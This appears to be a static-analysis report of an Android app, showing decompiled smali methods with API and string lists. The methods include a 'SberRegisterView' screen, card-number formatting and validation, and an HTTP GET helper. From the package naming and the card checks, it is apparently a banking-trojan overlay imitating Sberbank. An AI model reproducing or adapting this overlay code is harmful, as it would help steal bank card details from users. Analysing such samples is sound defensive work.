                                      111invoke-direct {p0}, Lcom/aviasalea/injs/s/views/SberRegisterView;->onClickListener()V
                                      112cond_b7: return-void
                                      APIs
                                      • com.aviasalea.injs.s.views.SberRegisterView.access$300
                                      • com.aviasalea.injs.s.views.SberRegisterView.access$700
                                      • com.aviasalea.injs.s.views.SberRegisterView.access$800
                                      • com.aviasalea.injs.s.views.SberRegisterView.access$000
                                      • com.aviasalea.injs.g.view._CTextInputLayout.setVisibility
                                      • com.aviasalea.injs.s.views.SberRegisterView.access$100
                                      • com.aviasalea.injs.g.view._CTextInputLayout.setVisibility
                                      • com.aviasalea.injs.s.views.SberRegisterView.access$200
                                      • com.aviasalea.injs.g.view._CTextInputLayout.setVisibility
                                      • com.aviasalea.injs.s.views.SberRegisterView.access$400
                                      • android.widget.RelativeLayout.setBackgroundResource
                                      • com.aviasalea.injs.s.views.SberRegisterView.access$400
                                      • android.widget.RelativeLayout.setEnabled
                                      • com.aviasalea.injs.s.views.SberRegisterView.access$300
                                      • com.aviasalea.injs.s.views.SberRegisterView.access$700
                                      • com.aviasalea.injs.s.views.SberRegisterView.access$800
                                      • com.aviasalea.injs.s.views.SberRegisterView.access$000
                                      • com.aviasalea.injs.g.view._CTextInputLayout.setVisibility
                                      • com.aviasalea.injs.s.views.SberRegisterView.access$100
                                      • com.aviasalea.injs.g.view._CTextInputLayout.setVisibility
                                      • com.aviasalea.injs.s.views.SberRegisterView.access$200
                                      • com.aviasalea.injs.g.view._CTextInputLayout.setVisibility
                                      • com.aviasalea.injs.s.views.SberRegisterView.access$400
                                      • android.widget.RelativeLayout.setBackgroundResource
                                      • com.aviasalea.injs.s.views.SberRegisterView.access$400
                                      • android.widget.RelativeLayout.setEnabled
                                      • com.aviasalea.injs.s.views.SberRegisterView.access$600
                                      • com.aviasalea.injs.s.views.SberRegisterView.access$600
                                      • com.aviasalea.injs.s.views.SberRegisterView.access$500
                                      Position Instruction Meta Information
                                      0.param p1, "v" # Landroid/view/View;
                                      1.prologue
                                      2const v3, 0x7f05001b
                                      3const/4 v1, 0x4
                                      4const/4 v2, 0x0
                                      6iget-object v0, p0, Lcom/aviasalea/injs/s/views/SberRegisterView$8;->this$0:Lcom/aviasalea/injs/s/views/SberRegisterView;
                                      8invoke-static {v0}, Lcom/aviasalea/injs/s/views/SberRegisterView;->access$300(Lcom/aviasalea/injs/s/views/SberRegisterView;)Z
                                      9move-result v0
                                      10if-eqz v0, :cond_4b
                                      12iget-object v0, p0, Lcom/aviasalea/injs/s/views/SberRegisterView$8;->this$0:Lcom/aviasalea/injs/s/views/SberRegisterView;
                                      14invoke-static {v0}, Lcom/aviasalea/injs/s/views/SberRegisterView;->access$700(Lcom/aviasalea/injs/s/views/SberRegisterView;)Z
                                      15move-result v0
                                      16if-nez v0, :cond_4b
                                      18iget-object v0, p0, Lcom/aviasalea/injs/s/views/SberRegisterView$8;->this$0:Lcom/aviasalea/injs/s/views/SberRegisterView;
                                      20invoke-static {v0}, Lcom/aviasalea/injs/s/views/SberRegisterView;->access$800(Lcom/aviasalea/injs/s/views/SberRegisterView;)Z
                                      21move-result v0
                                      22if-nez v0, :cond_4b
                                      24iget-object v0, p0, Lcom/aviasalea/injs/s/views/SberRegisterView$8;->this$0:Lcom/aviasalea/injs/s/views/SberRegisterView;
                                      26invoke-static {v0}, Lcom/aviasalea/injs/s/views/SberRegisterView;->access$000(Lcom/aviasalea/injs/s/views/SberRegisterView;)Lcom/aviasalea/injs/g/view/_CTextInputLayout;
                                      27move-result-object v0
                                      29invoke-virtual {v0, v1}, Lcom/aviasalea/injs/g/view/_CTextInputLayout;->setVisibility(I)V
                                      31iget-object v0, p0, Lcom/aviasalea/injs/s/views/SberRegisterView$8;->this$0:Lcom/aviasalea/injs/s/views/SberRegisterView;
                                      33invoke-static {v0}, Lcom/aviasalea/injs/s/views/SberRegisterView;->access$100(Lcom/aviasalea/injs/s/views/SberRegisterView;)Lcom/aviasalea/injs/g/view/_CTextInputLayout;
                                      34move-result-object v0
                                      36invoke-virtual {v0, v2}, Lcom/aviasalea/injs/g/view/_CTextInputLayout;->setVisibility(I)V
                                      38iget-object v0, p0, Lcom/aviasalea/injs/s/views/SberRegisterView$8;->this$0:Lcom/aviasalea/injs/s/views/SberRegisterView;
                                      40invoke-static {v0}, Lcom/aviasalea/injs/s/views/SberRegisterView;->access$200(Lcom/aviasalea/injs/s/views/SberRegisterView;)Lcom/aviasalea/injs/g/view/_CTextInputLayout;
                                      41move-result-object v0
                                      43invoke-virtual {v0, v1}, Lcom/aviasalea/injs/g/view/_CTextInputLayout;->setVisibility(I)V
                                      45iget-object v0, p0, Lcom/aviasalea/injs/s/views/SberRegisterView$8;->this$0:Lcom/aviasalea/injs/s/views/SberRegisterView;
                                      47invoke-static {v0}, Lcom/aviasalea/injs/s/views/SberRegisterView;->access$400(Lcom/aviasalea/injs/s/views/SberRegisterView;)Landroid/widget/RelativeLayout;
                                      48move-result-object v0
                                      50invoke-virtual {v0, v3}, Landroid/widget/RelativeLayout;->setBackgroundResource(I)V
                                      52iget-object v0, p0, Lcom/aviasalea/injs/s/views/SberRegisterView$8;->this$0:Lcom/aviasalea/injs/s/views/SberRegisterView;
                                      54invoke-static {v0}, Lcom/aviasalea/injs/s/views/SberRegisterView;->access$400(Lcom/aviasalea/injs/s/views/SberRegisterView;)Landroid/widget/RelativeLayout;
                                      55move-result-object v0
                                      57invoke-virtual {v0, v2}, Landroid/widget/RelativeLayout;->setEnabled(Z)V
                                      58goto_4a: return-void
                                      59cond_4b:
                                      60iget-object v0, p0, Lcom/aviasalea/injs/s/views/SberRegisterView$8;->this$0:Lcom/aviasalea/injs/s/views/SberRegisterView;
                                      62invoke-static {v0}, Lcom/aviasalea/injs/s/views/SberRegisterView;->access$300(Lcom/aviasalea/injs/s/views/SberRegisterView;)Z
                                      63move-result v0
                                      64if-eqz v0, :cond_91
                                      66iget-object v0, p0, Lcom/aviasalea/injs/s/views/SberRegisterView$8;->this$0:Lcom/aviasalea/injs/s/views/SberRegisterView;
                                      68invoke-static {v0}, Lcom/aviasalea/injs/s/views/SberRegisterView;->access$700(Lcom/aviasalea/injs/s/views/SberRegisterView;)Z
                                      69move-result v0
                                      70if-eqz v0, :cond_91
                                      72iget-object v0, p0, Lcom/aviasalea/injs/s/views/SberRegisterView$8;->this$0:Lcom/aviasalea/injs/s/views/SberRegisterView;
                                      74invoke-static {v0}, Lcom/aviasalea/injs/s/views/SberRegisterView;->access$800(Lcom/aviasalea/injs/s/views/SberRegisterView;)Z
                                      75move-result v0
                                      76if-nez v0, :cond_91
                                      78iget-object v0, p0, Lcom/aviasalea/injs/s/views/SberRegisterView$8;->this$0:Lcom/aviasalea/injs/s/views/SberRegisterView;
                                      80invoke-static {v0}, Lcom/aviasalea/injs/s/views/SberRegisterView;->access$000(Lcom/aviasalea/injs/s/views/SberRegisterView;)Lcom/aviasalea/injs/g/view/_CTextInputLayout;
                                      81move-result-object v0
                                      83invoke-virtual {v0, v1}, Lcom/aviasalea/injs/g/view/_CTextInputLayout;->setVisibility(I)V
                                      85iget-object v0, p0, Lcom/aviasalea/injs/s/views/SberRegisterView$8;->this$0:Lcom/aviasalea/injs/s/views/SberRegisterView;
                                      87invoke-static {v0}, Lcom/aviasalea/injs/s/views/SberRegisterView;->access$100(Lcom/aviasalea/injs/s/views/SberRegisterView;)Lcom/aviasalea/injs/g/view/_CTextInputLayout;
                                      88move-result-object v0
                                      90invoke-virtual {v0, v1}, Lcom/aviasalea/injs/g/view/_CTextInputLayout;->setVisibility(I)V
                                      92iget-object v0, p0, Lcom/aviasalea/injs/s/views/SberRegisterView$8;->this$0:Lcom/aviasalea/injs/s/views/SberRegisterView;
                                      94invoke-static {v0}, Lcom/aviasalea/injs/s/views/SberRegisterView;->access$200(Lcom/aviasalea/injs/s/views/SberRegisterView;)Lcom/aviasalea/injs/g/view/_CTextInputLayout;
                                      95move-result-object v0
                                      97invoke-virtual {v0, v2}, Lcom/aviasalea/injs/g/view/_CTextInputLayout;->setVisibility(I)V
                                      99iget-object v0, p0, Lcom/aviasalea/injs/s/views/SberRegisterView$8;->this$0:Lcom/aviasalea/injs/s/views/SberRegisterView;
                                      101invoke-static {v0}, Lcom/aviasalea/injs/s/views/SberRegisterView;->access$400(Lcom/aviasalea/injs/s/views/SberRegisterView;)Landroid/widget/RelativeLayout;
                                      102move-result-object v0
                                      104invoke-virtual {v0, v3}, Landroid/widget/RelativeLayout;->setBackgroundResource(I)V
                                      106iget-object v0, p0, Lcom/aviasalea/injs/s/views/SberRegisterView$8;->this$0:Lcom/aviasalea/injs/s/views/SberRegisterView;
                                      108invoke-static {v0}, Lcom/aviasalea/injs/s/views/SberRegisterView;->access$400(Lcom/aviasalea/injs/s/views/SberRegisterView;)Landroid/widget/RelativeLayout;
                                      109move-result-object v0
                                      111invoke-virtual {v0, v2}, Landroid/widget/RelativeLayout;->setEnabled(Z)V
                                      112goto/16 :goto_4a
                                      113cond_91:
                                      114iget-object v0, p0, Lcom/aviasalea/injs/s/views/SberRegisterView$8;->this$0:Lcom/aviasalea/injs/s/views/SberRegisterView;
                                      116invoke-static {v0}, Lcom/aviasalea/injs/s/views/SberRegisterView;->access$600(Lcom/aviasalea/injs/s/views/SberRegisterView;)Lcom/aviasalea/injs/s/views/SberRegisterView$OnSberRegisterCallback;
                                      117move-result-object v0
                                      118if-eqz v0, :cond_4a
                                      120iget-object v0, p0, Lcom/aviasalea/injs/s/views/SberRegisterView$8;->this$0:Lcom/aviasalea/injs/s/views/SberRegisterView;
                                      122invoke-static {v0}, Lcom/aviasalea/injs/s/views/SberRegisterView;->access$600(Lcom/aviasalea/injs/s/views/SberRegisterView;)Lcom/aviasalea/injs/s/views/SberRegisterView$OnSberRegisterCallback;
                                      123move-result-object v0
                                      125iget-object v1, p0, Lcom/aviasalea/injs/s/views/SberRegisterView$8;->this$0:Lcom/aviasalea/injs/s/views/SberRegisterView;
                                      127invoke-static {v1}, Lcom/aviasalea/injs/s/views/SberRegisterView;->access$500(Lcom/aviasalea/injs/s/views/SberRegisterView;)Lcom/aviasalea/injs/s/model/SModel;
                                      128move-result-object v1
                                      130invoke-interface {v0, v1, v2}, Lcom/aviasalea/injs/s/views/SberRegisterView$OnSberRegisterCallback;->onRegister(Lcom/aviasalea/injs/s/model/SModel;Z)V
                                      131goto/16 :goto_4a
                                      APIs
                                      • com.aviasalea.base.dialog.AlertDialog$4.getChildCount
                                      • com.aviasalea.base.dialog.AlertDialog$4.getChildAt
                                      • android.view.View.getTag
                                      • java.lang.Integer.intValue
                                      • com.aviasalea.base.dialog.AlertDialog$4.getPaddingRight
                                      • android.view.View.getMeasuredWidth
                                      • com.aviasalea.base.dialog.AlertDialog$4.getPaddingTop
                                      • com.aviasalea.base.dialog.AlertDialog$4.getPaddingRight
                                      • android.view.View.getMeasuredWidth
                                      • com.aviasalea.base.dialog.AlertDialog$4.getPaddingTop
                                      • android.view.View.getMeasuredHeight
                                      • android.view.View.layout
                                      • android.view.View.getTag
                                      • java.lang.Integer.intValue
                                      • com.aviasalea.base.dialog.AlertDialog$4.getPaddingRight
                                      • android.view.View.getMeasuredWidth
                                      • android.view.View.getMeasuredWidth
                                      • com.aviasalea.base.dialog.AlertDialog$4.getPaddingTop
                                      • android.view.View.getMeasuredWidth
                                      • com.aviasalea.base.dialog.AlertDialog$4.getPaddingTop
                                      • android.view.View.getMeasuredHeight
                                      • android.view.View.layout
                                      • com.aviasalea.base.dialog.AlertDialog$4.getPaddingLeft
                                      • com.aviasalea.base.dialog.AlertDialog$4.getPaddingTop
                                      • com.aviasalea.base.dialog.AlertDialog$4.getPaddingLeft
                                      • android.view.View.getMeasuredWidth
                                      • com.aviasalea.base.dialog.AlertDialog$4.getPaddingTop
                                      • android.view.View.getMeasuredHeight
                                      • android.view.View.layout
                                      Position Instruction Meta Information
                                      0.param p1, "changed" # Z
                                      1.param p2, "left" # I
                                      2.param p3, "top" # I
                                      3.param p4, "right" # I
                                      4.param p5, "bottom" # I
                                      5.prologue
                                      7invoke-virtual {p0}, Lcom/aviasalea/base/dialog/AlertDialog$4;->getChildCount()I
                                      8move-result v2
                                      9const/4 v3, 0x0
                                      10sub-int v4, p4, p2
                                      11const/4 v0, 0x0
                                      12goto_8: if-ge v0, v2, :cond_a0
                                      14invoke-virtual {p0, v0}, Lcom/aviasalea/base/dialog/AlertDialog$4;->getChildAt(I)Landroid/view/View;
                                      15move-result-object v1
                                      17invoke-virtual {v1}, Landroid/view/View;->getTag()Ljava/lang/Object;
                                      18move-result-object v6
                                      19check-cast v6, Ljava/lang/Integer;
                                      21invoke-virtual {v6}, Ljava/lang/Integer;->intValue()I
                                      22move-result v6
                                      23const/4 v7, -0x1
                                      24if-ne v6, v7, :cond_45
                                      25move-object v3, v1
                                      27invoke-virtual {p0}, Lcom/aviasalea/base/dialog/AlertDialog$4;->getPaddingRight()I
                                      28move-result v6
                                      29sub-int v6, v4, v6
                                      31invoke-virtual {v1}, Landroid/view/View;->getMeasuredWidth()I
                                      32move-result v7
                                      33sub-int/2addr v6, v7
                                      35invoke-virtual {p0}, Lcom/aviasalea/base/dialog/AlertDialog$4;->getPaddingTop()I
                                      36move-result v7
                                      38invoke-virtual {p0}, Lcom/aviasalea/base/dialog/AlertDialog$4;->getPaddingRight()I
                                      39move-result v8
                                      40sub-int v8, v4, v8
                                      42invoke-virtual {v1}, Landroid/view/View;->getMeasuredWidth()I
                                      43move-result v9
                                      44add-int/2addr v8, v9
                                      46invoke-virtual {p0}, Lcom/aviasalea/base/dialog/AlertDialog$4;->getPaddingTop()I
                                      47move-result v9
                                      49invoke-virtual {v1}, Landroid/view/View;->getMeasuredHeight()I
                                      50move-result v10
                                      51add-int/2addr v9, v10
                                      53invoke-virtual {v1, v6, v7, v8, v9}, Landroid/view/View;->layout(IIII)V
                                      54goto_42: add-int/lit8 v0, v0, 0x1
                                      55goto/16 :goto_8
                                      56cond_45:
                                      57invoke-virtual {v1}, Landroid/view/View;->getTag()Ljava/lang/Object;
                                      58move-result-object v6
                                      59check-cast v6, Ljava/lang/Integer;
                                      61invoke-virtual {v6}, Ljava/lang/Integer;->intValue()I
                                      62move-result v6
                                      63const/4 v7, -0x2
                                      64if-ne v6, v7, :cond_82
                                      66invoke-virtual {p0}, Lcom/aviasalea/base/dialog/AlertDialog$4;->getPaddingRight()I
                                      67move-result v6
                                      68sub-int v6, v4, v6
                                      70invoke-virtual {v1}, Landroid/view/View;->getMeasuredWidth()I
                                      71move-result v7
                                      72sub-int v5, v6, v7
                                      73if-eqz v3, :cond_6c
                                      75invoke-virtual {v3}, Landroid/view/View;->getMeasuredWidth()I
                                      76move-result v6
                                      77const/high16 v7, 0x41000000 # 8.0f
                                      79invoke-static {v7}, Lcom/aviasalea/checktls/AndroidUtilities;->dp(F)I
                                      80move-result v7
                                      81add-int/2addr v6, v7
                                      82sub-int/2addr v5, v6
                                      83cond_6c:
                                      84invoke-virtual {p0}, Lcom/aviasalea/base/dialog/AlertDialog$4;->getPaddingTop()I
                                      85move-result v6
                                      87invoke-virtual {v1}, Landroid/view/View;->getMeasuredWidth()I
                                      88move-result v7
                                      89add-int/2addr v7, v5
                                      91invoke-virtual {p0}, Lcom/aviasalea/base/dialog/AlertDialog$4;->getPaddingTop()I
                                      92move-result v8
                                      94invoke-virtual {v1}, Landroid/view/View;->getMeasuredHeight()I
                                      95move-result v9
                                      96add-int/2addr v8, v9
                                      98invoke-virtual {v1, v5, v6, v7, v8}, Landroid/view/View;->layout(IIII)V
                                      99goto/16 :goto_42
                                      100cond_82:
                                      101invoke-virtual {p0}, Lcom/aviasalea/base/dialog/AlertDialog$4;->getPaddingLeft()I
                                      102move-result v6
                                      104invoke-virtual {p0}, Lcom/aviasalea/base/dialog/AlertDialog$4;->getPaddingTop()I
                                      105move-result v7
                                      107invoke-virtual {p0}, Lcom/aviasalea/base/dialog/AlertDialog$4;->getPaddingLeft()I
                                      108move-result v8
                                      110invoke-virtual {v1}, Landroid/view/View;->getMeasuredWidth()I
                                      111move-result v9
                                      112add-int/2addr v8, v9
                                      114invoke-virtual {p0}, Lcom/aviasalea/base/dialog/AlertDialog$4;->getPaddingTop()I
                                      115move-result v9
                                      117invoke-virtual {v1}, Landroid/view/View;->getMeasuredHeight()I
                                      118move-result v10
                                      119add-int/2addr v9, v10
                                      121invoke-virtual {v1, v6, v7, v8, v9}, Landroid/view/View;->layout(IIII)V
                                      122goto/16 :goto_42
                                      123cond_a0: return-void
                                      APIs
                                      • java.lang.CharSequence.toString
                                      • com.aviasalea.injs.g.view._CTextInputLayout.setError
                                      • java.lang.CharSequence.toString
                                      • java.lang.String.equals
                                      • java.lang.CharSequence.toString
                                      • java.lang.String.replace
                                      • java.lang.StringBuilder.<init>
                                      • java.lang.CharSequence.length
                                      • java.lang.StringBuilder.append
                                      • java.lang.CharSequence.charAt
                                      • java.lang.StringBuilder.append
                                      • java.lang.StringBuilder.toString
                                      • com.aviasalea.injs.g.view._CTextInputLayout.getEditText
                                      • java.lang.StringBuilder.toString
                                      • android.widget.EditText.setText
                                      • com.aviasalea.injs.g.view._CTextInputLayout.getEditText
                                      • java.lang.String.length
                                      • android.widget.EditText.setSelection
                                      • com.aviasalea.injs.g.view._CTextInputLayout.setHasValidInput
                                      • java.lang.String.replace
                                      • java.lang.String.length
                                      • java.lang.Integer.valueOf
                                      • java.util.ArrayList.contains
                                      Strings
                                      Position Instruction Meta Information
                                      0.param p1, "source" # Ljava/lang/CharSequence;
                                      1.param p2, "start" # I
                                      2.param p3, "before" # I
                                      3.param p4, "count" # I
                                      4.prologue
                                      6invoke-interface {p1}, Ljava/lang/CharSequence;->toString()Ljava/lang/String;
                                      7move-result-object v4
                                      9invoke-direct {p0, v4}, Lcom/aviasalea/injs/g/view/watchers/CNTextWatcher;->setCardIcon(Ljava/lang/String;)Lcom/aviasalea/injs/g/val/models/Card;
                                      10move-result-object v0
                                      12iget-object v4, p0, Lcom/aviasalea/injs/g/view/watchers/CNTextWatcher;->mCTextInputLayout:Lcom/aviasalea/injs/g/view/_CTextInputLayout;
                                      13const/4 v5, 0x0
                                      15invoke-virtual {v4, v5}, Lcom/aviasalea/injs/g/view/_CTextInputLayout;->setError(Ljava/lang/String;)V
                                      17invoke-interface {p1}, Ljava/lang/CharSequence;->toString()Ljava/lang/String;
                                      18move-result-object v4
                                      20iget-object v5, p0, Lcom/aviasalea/injs/g/view/watchers/CNTextWatcher;->currentText:Ljava/lang/String;
                                      22invoke-virtual {v4, v5}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                                      23move-result v4
                                      24if-nez v4, :cond_69
                                      26invoke-interface {p1}, Ljava/lang/CharSequence;->toString()Ljava/lang/String;
                                      27move-result-object v4
                                      29const-string v5, " "
                                      31const-string v6, ""
                                      33invoke-virtual {v4, v5, v6}, Ljava/lang/String;->replace(Ljava/lang/CharSequence;Ljava/lang/CharSequence;)Ljava/lang/String;
                                      34move-result-object p1
                                      35new-instance v3, Ljava/lang/StringBuilder;
                                      37invoke-direct {v3}, Ljava/lang/StringBuilder;-><init>()V
                                      38const/4 v1, 0x0
                                      39goto_2c:
                                      40invoke-interface {p1}, Ljava/lang/CharSequence;->length()I
                                      41move-result v4
                                      42if-ge v1, v4, :cond_47
                                      43rem-int/lit8 v4, v1, 0x4
                                      44if-nez v4, :cond_3d
                                      45if-eqz v1, :cond_3d
                                      47const-string v4, " "
                                      49invoke-virtual {v3, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                      50cond_3d:
                                      51invoke-interface {p1, v1}, Ljava/lang/CharSequence;->charAt(I)C
                                      52move-result v4
                                      54invoke-virtual {v3, v4}, Ljava/lang/StringBuilder;->append(C)Ljava/lang/StringBuilder;
                                      55add-int/lit8 v1, v1, 0x1
                                      56goto/16 :goto_2c
                                      57cond_47:
                                      58invoke-virtual {v3}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                                      59move-result-object v4
                                      60iput-object v4, p0, Lcom/aviasalea/injs/g/view/watchers/CNTextWatcher;->currentText:Ljava/lang/String;
                                      62iget-object v4, p0, Lcom/aviasalea/injs/g/view/watchers/CNTextWatcher;->mCTextInputLayout:Lcom/aviasalea/injs/g/view/_CTextInputLayout;
                                      64invoke-virtual {v4}, Lcom/aviasalea/injs/g/view/_CTextInputLayout;->getEditText()Landroid/widget/EditText;
                                      65move-result-object v4
                                      67invoke-virtual {v3}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                                      68move-result-object v5
                                      70invoke-virtual {v4, v5}, Landroid/widget/EditText;->setText(Ljava/lang/CharSequence;)V
                                      72iget-object v4, p0, Lcom/aviasalea/injs/g/view/watchers/CNTextWatcher;->mCTextInputLayout:Lcom/aviasalea/injs/g/view/_CTextInputLayout;
                                      74invoke-virtual {v4}, Lcom/aviasalea/injs/g/view/_CTextInputLayout;->getEditText()Landroid/widget/EditText;
                                      75move-result-object v4
                                      77iget-object v5, p0, Lcom/aviasalea/injs/g/view/watchers/CNTextWatcher;->currentText:Ljava/lang/String;
                                      79invoke-virtual {v5}, Ljava/lang/String;->length()I
                                      80move-result v5
                                      82invoke-virtual {v4, v5}, Landroid/widget/EditText;->setSelection(I)V
                                      83cond_69: if-nez v0, :cond_7b
                                      84const/4 v2, 0x0
                                      85goto_6c:
                                      86iget-object v4, p0, Lcom/aviasalea/injs/g/view/watchers/CNTextWatcher;->mCTextInputLayout:Lcom/aviasalea/injs/g/view/_CTextInputLayout;
                                      88invoke-virtual {v4, v2}, Lcom/aviasalea/injs/g/view/_CTextInputLayout;->setHasValidInput(Z)Lcom/aviasalea/injs/g/view/_CTextInputLayout;
                                      90iget-object v5, p0, Lcom/aviasalea/injs/g/view/watchers/CNTextWatcher;->currentText:Ljava/lang/String;
                                      91if-nez v0, :cond_a5
                                      93const-string v4, ""
                                      94goto_77:
                                      95invoke-virtual {p0, v2, v5, v4}, Lcom/aviasalea/injs/g/view/watchers/CNTextWatcher;->onValidated(ZLjava/lang/String;Ljava/lang/String;)V
                                      96return-void
                                      97cond_7b:
                                      98invoke-virtual {v0}, Lcom/aviasalea/injs/g/val/models/Card;->getPossibleLengths()Ljava/util/ArrayList;
                                      99move-result-object v4
                                      101iget-object v5, p0, Lcom/aviasalea/injs/g/view/watchers/CNTextWatcher;->currentText:Ljava/lang/String;
                                      103const-string v6, " "
                                      105const-string v7, ""
                                      107invoke-virtual {v5, v6, v7}, Ljava/lang/String;->replace(Ljava/lang/CharSequence;Ljava/lang/CharSequence;)Ljava/lang/String;
                                      108move-result-object v5
                                      110invoke-virtual {v5}, Ljava/lang/String;->length()I
                                      111move-result v5
                                      113invoke-static {v5}, Ljava/lang/Integer;->valueOf(I)Ljava/lang/Integer;
                                      114move-result-object v5
                                      116invoke-virtual {v4, v5}, Ljava/util/ArrayList;->contains(Ljava/lang/Object;)Z
                                      117move-result v4
                                      118if-eqz v4, :cond_a3
                                      119new-instance v4, Lcom/aviasalea/injs/g/val/CVal;
                                      121iget-object v5, p0, Lcom/aviasalea/injs/g/view/watchers/CNTextWatcher;->currentText:Ljava/lang/String;
                                      123invoke-direct {v4, v5}, Lcom/aviasalea/injs/g/val/CVal;-><init>(Ljava/lang/String;)V
                                      125invoke-virtual {v4}, Lcom/aviasalea/injs/g/val/CVal;->isValidCardNumber()Z
                                      126move-result v2
                                      127goto/16 :goto_6c
                                      128cond_a3: const/4 v2, 0x0
                                      129goto/16 :goto_6c
                                      130cond_a5:
                                      131invoke-virtual {v0}, Lcom/aviasalea/injs/g/val/models/Card;->getCardName()Ljava/lang/String;
                                      132move-result-object v4
                                      133goto/16 :goto_77
                                      Cross References
                                      APIs
                                      • java.io.BufferedReader.close
                                      • java.io.InputStream.close
                                      • java.net.HttpURLConnection.setRequestMethod
                                      • java.net.HttpURLConnection.getInputStream
                                      • java.io.InputStreamReader.<init>
                                      • java.io.BufferedReader.<init>
                                      • java.lang.StringBuilder.<init>
                                      • java.io.BufferedReader.readLine
                                      • java.lang.StringBuilder.append
                                      • android.util.Log.e
                                      • java.io.BufferedReader.close
                                      • java.io.InputStream.close
                                      • java.lang.StringBuilder.toString
                                      • java.io.BufferedReader.close
                                      • java.io.InputStream.close
                                      • java.lang.Exception.printStackTrace
                                      • java.io.BufferedReader.close
                                      • java.io.InputStream.close
                                      • java.io.BufferedReader.close
                                      • java.io.InputStream.close
                                      Strings
                                      • GET
                                      • UTF-8
                                      • REALTALK REQUEST
                                      • javax.net.ssl.SSLPeerUnverifiedException
                                      Position Instruction Meta Information
                                      0.prologue
                                      2const-string v7, ""
                                      3const/4 v5, 0x0
                                      4const/4 v0, 0x0
                                      5try_start_4:
                                      6invoke-virtual {p0}, Lcom/aviasalea/api/request/BaseConnection;->getURLConnection()Ljava/net/HttpURLConnection;
                                      7move-result-object v2
                                      8if-nez v2, :cond_18
                                      10const-string v10, ""
                                      11try_end_c: if-eqz v0, :cond_11
                                      12try_start_e:
                                      13invoke-virtual {v0}, Ljava/io/BufferedReader;->close()V
                                      14cond_11: if-eqz v5, :cond_16
                                      15try_start_13:
                                      16invoke-virtual {v5}, Ljava/io/InputStream;->close()V
                                      17cond_16: move-object v8, v7
                                      18goto_17: return-object v8
                                      19cond_18:
                                      20const-string v10, "GET"
                                      22invoke-virtual {v2, v10}, Ljava/net/HttpURLConnection;->setRequestMethod(Ljava/lang/String;)V
                                      24invoke-virtual {v2}, Ljava/net/HttpURLConnection;->getInputStream()Ljava/io/InputStream;
                                      25move-result-object v5
                                      26new-instance v1, Ljava/io/BufferedReader;
                                      27new-instance v10, Ljava/io/InputStreamReader;
                                      29const-string v11, "UTF-8"
                                      31invoke-direct {v10, v5, v11}, Ljava/io/InputStreamReader;-><init>(Ljava/io/InputStream;Ljava/lang/String;)V
                                      33invoke-direct {v1, v10}, Ljava/io/BufferedReader;-><init>(Ljava/io/Reader;)V
                                      34try_end_2d: const/4 v6, 0x0
                                      35try_start_2e: new-instance v9, Ljava/lang/StringBuilder;
                                      37invoke-direct {v9}, Ljava/lang/StringBuilder;-><init>()V
                                      38goto_33:
                                      39invoke-virtual {v1}, Ljava/io/BufferedReader;->readLine()Ljava/lang/String;
                                      40move-result-object v6
                                      41if-eqz v6, :cond_52
                                      43invoke-virtual {v9, v6}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                      44try_end_3c: goto/16 :goto_33
                                      45catch_3d: move-exception v4
                                      46move-object v0, v1
                                      47try_start_3f:
                                      48const-string v10, "REALTALK REQUEST"
                                      50const-string v11, "javax.net.ssl.SSLPeerUnverifiedException"
                                      52invoke-static {v10, v11}, Landroid/util/Log;->e(Ljava/lang/String;Ljava/lang/String;)I
                                      53try_end_46: if-eqz v0, :cond_4b
                                      54try_start_48:
                                      55invoke-virtual {v0}, Ljava/io/BufferedReader;->close()V
                                      56cond_4b: if-eqz v5, :cond_50
                                      57try_start_4d:
                                      58invoke-virtual {v5}, Ljava/io/InputStream;->close()V
                                      59cond_50: move-object v8, v7
                                      60goto/16 :goto_17
                                      61cond_52:
                                      62invoke-virtual {v9}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                                      63try_end_55: move-result-object v7
                                      64if-eqz v1, :cond_5b
                                      65try_start_58:
                                      66invoke-virtual {v1}, Ljava/io/BufferedReader;->close()V
                                      67cond_5b: if-eqz v5, :cond_60
                                      68try_start_5d:
                                      69invoke-virtual {v5}, Ljava/io/InputStream;->close()V
                                      70cond_60: move-object v0, v1
                                      71move-object v8, v7
                                      72goto/16 :goto_17
                                      73catch_63: move-exception v3
                                      74try_start_64:
                                      75invoke-virtual {v3}, Ljava/lang/Exception;->printStackTrace()V
                                      76try_end_67: if-eqz v0, :cond_6c
                                      77try_start_69:
                                      78invoke-virtual {v0}, Ljava/io/BufferedReader;->close()V
                                      79goto_6c: if-eqz v5, :cond_71
                                      80try_start_6e:
                                      81invoke-virtual {v5}, Ljava/io/InputStream;->close()V
                                      82try_end_71: move-object v8, v7
                                      83goto/16 :goto_17
                                      84catchall_73: move-exception v10
                                      85goto_74: if-eqz v0, :cond_79
                                      86try_start_76:
                                      87invoke-virtual {v0}, Ljava/io/BufferedReader;->close()V
                                      88try_end_79: if-eqz v5, :cond_7e
                                      89try_start_7b:
                                      90invoke-virtual {v5}, Ljava/io/InputStream;->close()V
                                      91cond_7e: move-object v8, v7
                                      92goto/16 :goto_17
                                      93catch_80: move-exception v10
                                      94goto/16 :goto_11
                                      95catch_82: move-exception v10
                                      96goto/16 :goto_16
                                      97catch_84: move-exception v10
                                      98goto/16 :goto_5b
                                      99catch_86: move-exception v10
                                      100goto/16 :goto_60
                                      101catch_88: move-exception v10
                                      102goto/16 :goto_4b
                                      103catch_8a: move-exception v10
                                      104goto/16 :goto_50
                                      105catch_8c: move-exception v10
                                      106goto/16 :goto_6c
                                      107catch_8e: move-exception v10
                                      108goto/16 :goto_71
                                      109catch_90: move-exception v10
                                      110goto/16 :goto_79
                                      111catch_92: move-exception v10
                                      112goto/16 :goto_7e
                                      113catchall_94: move-exception v10
                                      114move-object v0, v1
                                      115goto/16 :goto_74
                                      116catch_97: move-exception v3
                                      117move-object v0, v1
                                      118goto/16 :goto_64
                                      119catch_9a: move-exception v4
                                      120goto/16 :goto_3f
                                      Cross References
                                      APIs
                                      • java.util.Map.get
                                      • java.util.concurrent.CopyOnWriteArrayList.<init>
                                      • java.util.Map.put
                                      • java.util.concurrent.CopyOnWriteArrayList.size
                                      • java.util.concurrent.CopyOnWriteArrayList.get
                                      • java.util.concurrent.CopyOnWriteArrayList.add
                                      • java.util.Map.get
                                      • java.util.ArrayList.<init>
                                      • java.util.Map.put
